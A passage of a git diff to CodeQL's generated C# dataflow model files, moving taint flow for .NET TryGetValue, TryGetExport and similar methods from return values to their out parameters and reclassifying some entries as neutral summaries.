"TryGetExport", "(System.Type,System.String,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.String,TExport)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", False, "TryGetExport", "(TExport)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Composition", "CompositionContext", True, "TryGetExport", "(System.Composition.Hosting.Core.CompositionContract,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.Type,System.Object)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.Type,System.String,System.Object)", "", "Argument[this]", "Argument[2]", "taint", "df-generated"] + - ["System.Composition", "CompositionContext", False, "TryGetExport", "(System.String,TExport)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Composition", "CompositionContext", False, "TryGetExport", "(TExport)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Composition", "CompositionContext", True, "TryGetExport", "(System.Composition.Hosting.Core.CompositionContract,System.Object)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Composition", "Export", False, "Export", "(T,System.Action)", "", "Argument[0]", "Argument[this].Property[System.Composition.Export`1.Value]", "value", "dfc-generated"] - ["System.Composition", "ExportAttribute", False, "ExportAttribute", "(System.String,System.Type)", "", "Argument[0]", "Argument[this].Property[System.Composition.ExportAttribute.ContractName]", "value", "dfc-generated"] - ["System.Composition", "ExportFactory", False, "ExportFactory", "(System.Func>,TMetadata)", "", "Argument[1]", "Argument[this].Property[System.Composition.ExportFactory`2.Metadata]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Configuration.Internal.model.yml b/csharp/ql/lib/ext/generated/System.Configuration.Internal.model.yml index 6804ecaa514..3a1c350c831 100644 --- a/csharp/ql/lib/ext/generated/System.Configuration.Internal.model.yml +++ b/csharp/ql/lib/ext/generated/System.Configuration.Internal.model.yml @@ -15,12 +15,11 @@ extensions: - ["System.Configuration.Internal", "IInternalConfigHost", True, "GetStreamNameForConfigSource", "(System.String,System.String)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - ["System.Configuration.Internal", "IInternalConfigHost", True, "GetStreamNameForConfigSource", "(System.String,System.String)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] - ["System.Configuration.Internal", "IInternalConfigHost", True, "Init", "(System.Configuration.Internal.IInternalConfigRoot,System.Object[])", "", "Argument[1].Element", "Argument[this]", "taint", "df-generated"] - - ["System.Configuration.Internal", "IInternalConfigHost", True, "InitForConfiguration", "(System.String,System.String,System.String,System.Configuration.Internal.IInternalConfigRoot,System.Object[])", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Configuration.Internal", "IInternalConfigHost", True, "InitForConfiguration", "(System.String,System.String,System.String,System.Configuration.Internal.IInternalConfigRoot,System.Object[])", "", "Argument[4].Element", "ReturnValue", "value", "dfc-generated"] + - ["System.Configuration.Internal", "IInternalConfigHost", True, "InitForConfiguration", "(System.String,System.String,System.String,System.Configuration.Internal.IInternalConfigRoot,System.Object[])", "", "Argument[4].Element", "Argument[1]", "value", "dfc-generated"] - ["System.Configuration.Internal", "IInternalConfigHost", True, "OpenStreamForRead", "(System.String)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - ["System.Configuration.Internal", "IInternalConfigHost", True, "OpenStreamForRead", "(System.String,System.Boolean)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] - - ["System.Configuration.Internal", "IInternalConfigHost", True, "OpenStreamForWrite", "(System.String,System.String,System.Object)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - - ["System.Configuration.Internal", "IInternalConfigHost", True, "OpenStreamForWrite", "(System.String,System.String,System.Object,System.Boolean)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["System.Configuration.Internal", "IInternalConfigHost", True, "OpenStreamForWrite", "(System.String,System.String,System.Object)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] + - ["System.Configuration.Internal", "IInternalConfigHost", True, "OpenStreamForWrite", "(System.String,System.String,System.Object,System.Boolean)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - ["System.Configuration.Internal", "IInternalConfigRecord", True, "GetLkgSection", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Configuration.Internal", "IInternalConfigRecord", True, "GetSection", "(System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Configuration.Internal", "IInternalConfigRecord", True, "get_ConfigPath", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Data.Common.model.yml b/csharp/ql/lib/ext/generated/System.Data.Common.model.yml index 3725f8b01f6..7afa26ad8ba 100644 --- a/csharp/ql/lib/ext/generated/System.Data.Common.model.yml +++ b/csharp/ql/lib/ext/generated/System.Data.Common.model.yml @@ -63,7 +63,7 @@ extensions: - ["System.Data.Common", "DbConnectionStringBuilder", False, "ToString", "()", "", "Argument[this].Property[System.Data.Common.DbConnectionStringBuilder.ConnectionString]", "ReturnValue", "value", "dfc-generated"] - ["System.Data.Common", "DbConnectionStringBuilder", False, "ToString", "()", "", "Argument[this].Property[System.Data.Common.DbConnectionStringBuilder.Keys].Element", "ReturnValue", "taint", "dfc-generated"] - ["System.Data.Common", "DbConnectionStringBuilder", True, "GetProperties", "(System.Collections.Hashtable)", "", "Argument[this].Property[System.Data.Common.DbConnectionStringBuilder.Keys].Element", "Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key]", "value", "dfc-generated"] - - ["System.Data.Common", "DbConnectionStringBuilder", True, "TryGetValue", "(System.String,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Data.Common", "DbConnectionStringBuilder", True, "TryGetValue", "(System.String,System.Object)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Data.Common", "DbDataAdapter", False, "FillSchema", "(System.Data.DataSet,System.Data.SchemaType,System.String)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Data.Common", "DbDataAdapter", False, "FillSchema", "(System.Data.DataSet,System.Data.SchemaType,System.String)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Data.Common", "DbDataAdapter", False, "FillSchema", "(System.Data.DataTable,System.Data.SchemaType)", "", "Argument[0]", "ReturnValue.Element", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Diagnostics.Tracing.model.yml b/csharp/ql/lib/ext/generated/System.Diagnostics.Tracing.model.yml index c46a5557d93..163a1ecfaad 100644 --- a/csharp/ql/lib/ext/generated/System.Diagnostics.Tracing.model.yml +++ b/csharp/ql/lib/ext/generated/System.Diagnostics.Tracing.model.yml @@ -16,12 +16,6 @@ extensions: - ["System.Diagnostics.Tracing", "EventSource", False, "GetTrait", "(System.String)", "", "Argument[this].SyntheticField[System.Diagnostics.Tracing.EventSource.m_traits].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Diagnostics.Tracing", "EventSource", False, "SendCommand", "(System.Diagnostics.Tracing.EventSource,System.Diagnostics.Tracing.EventCommand,System.Collections.Generic.IDictionary)", "", "Argument[2]", "Argument[0].SyntheticField[System.Diagnostics.Tracing.EventSource.m_deferredCommands].Property[System.Diagnostics.Tracing.EventCommandEventArgs.Arguments]", "value", "dfc-generated"] - ["System.Diagnostics.Tracing", "EventSource", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Diagnostics.Tracing", "EventSource", False, "Write", "(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Diagnostics.Tracing", "EventSource", False, "Write", "(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - - ["System.Diagnostics.Tracing", "EventSource", False, "Write", "(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] - - ["System.Diagnostics.Tracing", "EventSource", False, "Write", "(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T)", "", "Argument[4]", "ReturnValue", "value", "dfc-generated"] - - ["System.Diagnostics.Tracing", "EventSource", False, "Write", "(System.String,System.Diagnostics.Tracing.EventSourceOptions,T)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Diagnostics.Tracing", "EventSource", False, "Write", "(System.String,System.Diagnostics.Tracing.EventSourceOptions,T)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["System.Diagnostics.Tracing", "EventSource", False, "add_EventCommandExecuted", "(System.EventHandler)", "", "Argument[this].SyntheticField[System.Diagnostics.Tracing.EventSource.m_deferredCommands]", "Argument[0].Parameter[1]", "value", "dfc-generated"] - ["System.Diagnostics.Tracing", "EventSource", False, "add_EventCommandExecuted", "(System.EventHandler)", "", "Argument[this]", "Argument[0].Parameter[0]", "value", "dfc-generated"] - ["System.Diagnostics.Tracing", "EventSource", False, "get_ConstructionException", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -72,6 +66,7 @@ extensions: - ["System.Diagnostics.Tracing", "EventSource", "SetCurrentThreadActivityId", "(System.Guid,System.Guid)", "summary", "df-generated"] - ["System.Diagnostics.Tracing", "EventSource", "Write", "(System.String)", "summary", "df-generated"] - ["System.Diagnostics.Tracing", "EventSource", "Write", "(System.String,System.Diagnostics.Tracing.EventSourceOptions)", "summary", "df-generated"] + - ["System.Diagnostics.Tracing", "EventSource", "Write", "(System.String,System.Diagnostics.Tracing.EventSourceOptions,System.Guid,System.Guid,T)", "summary", "df-generated"] - ["System.Diagnostics.Tracing", "EventSource", "Write", "(System.String,System.Diagnostics.Tracing.EventSourceOptions,T)", "summary", "df-generated"] - ["System.Diagnostics.Tracing", "EventSource", "Write", "(System.String,T)", "summary", "df-generated"] - ["System.Diagnostics.Tracing", "EventSource", "WriteEvent", "(System.Int32)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Diagnostics.model.yml b/csharp/ql/lib/ext/generated/System.Diagnostics.model.yml index 4247cfb9bd1..5b8633ea45d 100644 --- a/csharp/ql/lib/ext/generated/System.Diagnostics.model.yml +++ b/csharp/ql/lib/ext/generated/System.Diagnostics.model.yml @@ -63,18 +63,11 @@ extensions: - ["System.Diagnostics", "ActivitySpanId", False, "ToHexString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Diagnostics", "ActivitySpanId", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Diagnostics", "ActivityTagsCollection+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Diagnostics", "ActivityTagsCollection", False, "TryGetValue", "(System.String,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Diagnostics", "ActivityTagsCollection", False, "TryGetValue", "(System.String,System.Object)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Diagnostics", "ActivityTraceId", False, "ToHexString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Diagnostics", "ActivityTraceId", False, "ToString", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Diagnostics", "CorrelationManager", False, "get_LogicalOperationStack", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Diagnostics", "DataReceivedEventArgs", False, "get_Data", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Diagnostics", "Debug", False, "Assert", "(System.Boolean,System.Diagnostics.Debug+AssertInterpolatedStringHandler)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Diagnostics", "Debug", False, "Assert", "(System.Boolean,System.Diagnostics.Debug+AssertInterpolatedStringHandler,System.Diagnostics.Debug+AssertInterpolatedStringHandler)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Diagnostics", "Debug", False, "Assert", "(System.Boolean,System.Diagnostics.Debug+AssertInterpolatedStringHandler,System.Diagnostics.Debug+AssertInterpolatedStringHandler)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - - ["System.Diagnostics", "Debug", False, "WriteIf", "(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Diagnostics", "Debug", False, "WriteIf", "(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler,System.String)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Diagnostics", "Debug", False, "WriteLineIf", "(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["System.Diagnostics", "Debug", False, "WriteLineIf", "(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler,System.String)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System.Diagnostics", "DiagnosticListener", False, "DiagnosticListener", "(System.String)", "", "Argument[0]", "Argument[this].Property[System.Diagnostics.DiagnosticListener.Name]", "value", "dfc-generated"] - ["System.Diagnostics", "DiagnosticListener", False, "ToString", "()", "", "Argument[this].Property[System.Diagnostics.DiagnosticListener.Name]", "ReturnValue", "value", "dfc-generated"] - ["System.Diagnostics", "DiagnosticListener", True, "Subscribe", "(System.IObserver>)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -325,6 +318,8 @@ extensions: - ["System.Diagnostics", "Debug+WriteIfInterpolatedStringHandler", "AppendLiteral", "(System.String)", "summary", "df-generated"] - ["System.Diagnostics", "Debug+WriteIfInterpolatedStringHandler", "WriteIfInterpolatedStringHandler", "(System.Int32,System.Int32,System.Boolean,System.Boolean)", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "Assert", "(System.Boolean)", "summary", "df-generated"] + - ["System.Diagnostics", "Debug", "Assert", "(System.Boolean,System.Diagnostics.Debug+AssertInterpolatedStringHandler)", "summary", "df-generated"] + - ["System.Diagnostics", "Debug", "Assert", "(System.Boolean,System.Diagnostics.Debug+AssertInterpolatedStringHandler,System.Diagnostics.Debug+AssertInterpolatedStringHandler)", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "Assert", "(System.Boolean,System.String)", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "Assert", "(System.Boolean,System.String,System.String)", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "Assert", "(System.Boolean,System.String,System.String,System.Object[])", "summary", "df-generated"] @@ -341,6 +336,8 @@ extensions: - ["System.Diagnostics", "Debug", "Write", "(System.Object,System.String)", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "Write", "(System.String)", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "Write", "(System.String,System.String)", "summary", "df-generated"] + - ["System.Diagnostics", "Debug", "WriteIf", "(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler)", "summary", "df-generated"] + - ["System.Diagnostics", "Debug", "WriteIf", "(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler,System.String)", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "WriteIf", "(System.Boolean,System.Object)", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "WriteIf", "(System.Boolean,System.Object,System.String)", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "WriteIf", "(System.Boolean,System.String)", "summary", "df-generated"] @@ -350,6 +347,8 @@ extensions: - ["System.Diagnostics", "Debug", "WriteLine", "(System.String)", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "WriteLine", "(System.String,System.Object[])", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "WriteLine", "(System.String,System.String)", "summary", "df-generated"] + - ["System.Diagnostics", "Debug", "WriteLineIf", "(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler)", "summary", "df-generated"] + - ["System.Diagnostics", "Debug", "WriteLineIf", "(System.Boolean,System.Diagnostics.Debug+WriteIfInterpolatedStringHandler,System.String)", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "WriteLineIf", "(System.Boolean,System.Object)", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "WriteLineIf", "(System.Boolean,System.Object,System.String)", "summary", "df-generated"] - ["System.Diagnostics", "Debug", "WriteLineIf", "(System.Boolean,System.String)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Dynamic.model.yml b/csharp/ql/lib/ext/generated/System.Dynamic.model.yml index f9445abc171..a501617834f 100644 --- a/csharp/ql/lib/ext/generated/System.Dynamic.model.yml +++ b/csharp/ql/lib/ext/generated/System.Dynamic.model.yml @@ -24,7 +24,7 @@ extensions: - ["System.Dynamic", "DynamicMetaObject", False, "get_Value", "()", "", "Argument[this].SyntheticField[System.Dynamic.DynamicMetaObject._value]", "ReturnValue", "value", "dfc-generated"] - ["System.Dynamic", "DynamicMetaObjectBinder", False, "Bind", "(System.Object[],System.Collections.ObjectModel.ReadOnlyCollection,System.Linq.Expressions.LabelTarget)", "", "Argument[2]", "ReturnValue.Property[System.Linq.Expressions.ConditionalExpression.IfTrue].Property[System.Linq.Expressions.GotoExpression.Target]", "value", "dfc-generated"] - ["System.Dynamic", "DynamicMetaObjectBinder", False, "Bind", "(System.Object[],System.Collections.ObjectModel.ReadOnlyCollection,System.Linq.Expressions.LabelTarget)", "", "Argument[2]", "ReturnValue.Property[System.Linq.Expressions.GotoExpression.Target]", "value", "dfc-generated"] - - ["System.Dynamic", "ExpandoObject", False, "TryGetValue", "(System.String,System.Object)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Dynamic", "ExpandoObject", False, "TryGetValue", "(System.String,System.Object)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Dynamic", "GetIndexBinder", False, "GetIndexBinder", "(System.Dynamic.CallInfo)", "", "Argument[0]", "Argument[this].Property[System.Dynamic.GetIndexBinder.CallInfo]", "value", "dfc-generated"] - ["System.Dynamic", "GetIndexBinder", True, "FallbackGetIndex", "(System.Dynamic.DynamicMetaObject,System.Dynamic.DynamicMetaObject[],System.Dynamic.DynamicMetaObject)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["System.Dynamic", "GetMemberBinder", False, "GetMemberBinder", "(System.String,System.Boolean)", "", "Argument[0]", "Argument[this].Property[System.Dynamic.GetMemberBinder.Name]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Formats.Asn1.model.yml b/csharp/ql/lib/ext/generated/System.Formats.Asn1.model.yml index 668e91308c0..1765a570280 100644 --- a/csharp/ql/lib/ext/generated/System.Formats.Asn1.model.yml +++ b/csharp/ql/lib/ext/generated/System.Formats.Asn1.model.yml @@ -11,9 +11,9 @@ extensions: - ["System.Formats.Asn1", "AsnDecoder", False, "TryReadBitString", "(System.ReadOnlySpan,System.Span,System.Formats.Asn1.AsnEncodingRules,System.Int32,System.Int32,System.Int32,System.Nullable)", "", "Argument[0].Element", "Argument[1].Element", "value", "dfc-generated"] - ["System.Formats.Asn1", "AsnDecoder", False, "TryReadCharacterStringBytes", "(System.ReadOnlySpan,System.Span,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.Asn1Tag,System.Int32,System.Int32)", "", "Argument[0].Element", "Argument[1].Element", "value", "dfc-generated"] - ["System.Formats.Asn1", "AsnDecoder", False, "TryReadOctetString", "(System.ReadOnlySpan,System.Span,System.Formats.Asn1.AsnEncodingRules,System.Int32,System.Int32,System.Nullable)", "", "Argument[0].Element", "Argument[1].Element", "value", "dfc-generated"] - - ["System.Formats.Asn1", "AsnDecoder", False, "TryReadPrimitiveBitString", "(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.Int32,System.ReadOnlySpan,System.Int32,System.Nullable)", "", "Argument[0].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Formats.Asn1", "AsnDecoder", False, "TryReadPrimitiveCharacterStringBytes", "(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.Asn1Tag,System.ReadOnlySpan,System.Int32)", "", "Argument[0].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Formats.Asn1", "AsnDecoder", False, "TryReadPrimitiveOctetString", "(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.ReadOnlySpan,System.Int32,System.Nullable)", "", "Argument[0].Element", "ReturnValue.Element", "value", "dfc-generated"] + - ["System.Formats.Asn1", "AsnDecoder", False, "TryReadPrimitiveBitString", "(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.Int32,System.ReadOnlySpan,System.Int32,System.Nullable)", "", "Argument[0].Element", "Argument[3].Element", "value", "dfc-generated"] + - ["System.Formats.Asn1", "AsnDecoder", False, "TryReadPrimitiveCharacterStringBytes", "(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.Asn1Tag,System.ReadOnlySpan,System.Int32)", "", "Argument[0].Element", "Argument[3].Element", "value", "dfc-generated"] + - ["System.Formats.Asn1", "AsnDecoder", False, "TryReadPrimitiveOctetString", "(System.ReadOnlySpan,System.Formats.Asn1.AsnEncodingRules,System.ReadOnlySpan,System.Int32,System.Nullable)", "", "Argument[0].Element", "Argument[2].Element", "value", "dfc-generated"] - ["System.Formats.Asn1", "AsnReader", False, "AsnReader", "(System.ReadOnlyMemory,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.AsnReaderOptions)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Formats.Asn1", "AsnReader", False, "AsnReader", "(System.ReadOnlyMemory,System.Formats.Asn1.AsnEncodingRules,System.Formats.Asn1.AsnReaderOptions)", "", "Argument[2]", "Argument[this]", "taint", "df-generated"] - ["System.Formats.Asn1", "AsnReader", False, "ReadBitString", "(System.Int32,System.Nullable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.IO.Enumeration.model.yml b/csharp/ql/lib/ext/generated/System.IO.Enumeration.model.yml index d61db4da190..75c8fa28563 100644 --- a/csharp/ql/lib/ext/generated/System.IO.Enumeration.model.yml +++ b/csharp/ql/lib/ext/generated/System.IO.Enumeration.model.yml @@ -9,8 +9,6 @@ extensions: - ["System.IO.Enumeration", "FileSystemEntry", False, "get_FileName", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.IO.Enumeration", "FileSystemEnumerator", False, "get_Current", "()", "", "Argument[this].Property[System.IO.Enumeration.FileSystemEnumerator`1.Current]", "ReturnValue", "value", "dfc-generated"] - ["System.IO.Enumeration", "FileSystemEnumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.IO.Enumeration", "FileSystemEnumerator", True, "ShouldIncludeEntry", "(System.IO.Enumeration.FileSystemEntry)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.IO.Enumeration", "FileSystemEnumerator", True, "ShouldRecurseIntoEntry", "(System.IO.Enumeration.FileSystemEntry)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.IO.Enumeration", "FileSystemName", False, "TranslateWin32Expression", "(System.String)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - addsTo: pack: codeql/csharp-all @@ -32,6 +30,8 @@ extensions: - ["System.IO.Enumeration", "FileSystemEnumerator", "MoveNext", "()", "summary", "df-generated"] - ["System.IO.Enumeration", "FileSystemEnumerator", "OnDirectoryFinished", "(System.ReadOnlySpan)", "summary", "df-generated"] - ["System.IO.Enumeration", "FileSystemEnumerator", "Reset", "()", "summary", "df-generated"] + - ["System.IO.Enumeration", "FileSystemEnumerator", "ShouldIncludeEntry", "(System.IO.Enumeration.FileSystemEntry)", "summary", "df-generated"] + - ["System.IO.Enumeration", "FileSystemEnumerator", "ShouldRecurseIntoEntry", "(System.IO.Enumeration.FileSystemEntry)", "summary", "df-generated"] - ["System.IO.Enumeration", "FileSystemEnumerator", "TransformEntry", "(System.IO.Enumeration.FileSystemEntry)", "summary", "df-generated"] - ["System.IO.Enumeration", "FileSystemName", "MatchesSimpleExpression", "(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean)", "summary", "df-generated"] - ["System.IO.Enumeration", "FileSystemName", "MatchesWin32Expression", "(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.IO.model.yml b/csharp/ql/lib/ext/generated/System.IO.model.yml index bebdbcfee06..b8ead94c65f 100644 --- a/csharp/ql/lib/ext/generated/System.IO.model.yml +++ b/csharp/ql/lib/ext/generated/System.IO.model.yml @@ -139,7 +139,7 @@ extensions: - ["System.IO", "FileSystemWatcher", False, "OnDeleted", "(System.IO.FileSystemEventArgs)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.IO", "FileSystemWatcher", False, "get_Filters", "()", "", "Argument[this].SyntheticField[System.IO.FileSystemWatcher._filters]", "ReturnValue", "value", "dfc-generated"] - ["System.IO", "MemoryStream", True, "GetBuffer", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.IO", "MemoryStream", True, "TryGetBuffer", "(System.ArraySegment)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.IO", "MemoryStream", True, "TryGetBuffer", "(System.ArraySegment)", "", "Argument[this]", "Argument[0].Element", "taint", "df-generated"] - ["System.IO", "MemoryStream", True, "WriteAsync", "(System.ReadOnlyMemory,System.Threading.CancellationToken)", "", "Argument[0].Property[System.ReadOnlyMemory`1.Span].Element", "Argument[this]", "taint", "dfc-generated"] - ["System.IO", "MemoryStream", True, "WriteTo", "(System.IO.Stream)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.IO", "Path", False, "ChangeExtension", "(System.String,System.String)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -272,7 +272,6 @@ extensions: - ["System.IO", "UnmanagedMemoryAccessor", False, "Initialize", "(System.Runtime.InteropServices.SafeBuffer,System.Int64,System.Int64,System.IO.FileAccess)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.IO", "UnmanagedMemoryAccessor", False, "UnmanagedMemoryAccessor", "(System.Runtime.InteropServices.SafeBuffer,System.Int64,System.Int64)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.IO", "UnmanagedMemoryAccessor", False, "UnmanagedMemoryAccessor", "(System.Runtime.InteropServices.SafeBuffer,System.Int64,System.Int64,System.IO.FileAccess)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.IO", "UnmanagedMemoryAccessor", False, "Write", "(System.Int64,T)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["System.IO", "UnmanagedMemoryStream", False, "Initialize", "(System.Byte*,System.Int64,System.Int64,System.IO.FileAccess)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.IO", "UnmanagedMemoryStream", False, "Initialize", "(System.Runtime.InteropServices.SafeBuffer,System.Int64,System.Int64,System.IO.FileAccess)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.IO", "UnmanagedMemoryStream", False, "UnmanagedMemoryStream", "(System.Byte*,System.Int64)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] @@ -751,6 +750,7 @@ extensions: - ["System.IO", "UnmanagedMemoryAccessor", "Write", "(System.Int64,System.UInt16)", "summary", "df-generated"] - ["System.IO", "UnmanagedMemoryAccessor", "Write", "(System.Int64,System.UInt32)", "summary", "df-generated"] - ["System.IO", "UnmanagedMemoryAccessor", "Write", "(System.Int64,System.UInt64)", "summary", "df-generated"] + - ["System.IO", "UnmanagedMemoryAccessor", "Write", "(System.Int64,T)", "summary", "df-generated"] - ["System.IO", "UnmanagedMemoryAccessor", "WriteArray", "(System.Int64,T[],System.Int32,System.Int32)", "summary", "df-generated"] - ["System.IO", "UnmanagedMemoryAccessor", "get_CanRead", "()", "summary", "df-generated"] - ["System.IO", "UnmanagedMemoryAccessor", "get_CanWrite", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Net.Http.Headers.model.yml b/csharp/ql/lib/ext/generated/System.Net.Http.Headers.model.yml index 1e286f91b9b..b8f860c2f51 100644 --- a/csharp/ql/lib/ext/generated/System.Net.Http.Headers.model.yml +++ b/csharp/ql/lib/ext/generated/System.Net.Http.Headers.model.yml @@ -27,8 +27,8 @@ extensions: - ["System.Net.Http.Headers", "HttpHeaders", False, "get_NonValidated", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net.Http.Headers", "HttpHeadersNonValidated+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Net.Http.Headers", "HttpHeadersNonValidated", False, "GetEnumerator", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Net.Http.Headers", "HttpHeadersNonValidated", False, "TryGetValue", "(System.String,System.Net.Http.Headers.HeaderStringValues)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Net.Http.Headers", "HttpHeadersNonValidated", False, "TryGetValues", "(System.String,System.Net.Http.Headers.HeaderStringValues)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["System.Net.Http.Headers", "HttpHeadersNonValidated", False, "TryGetValue", 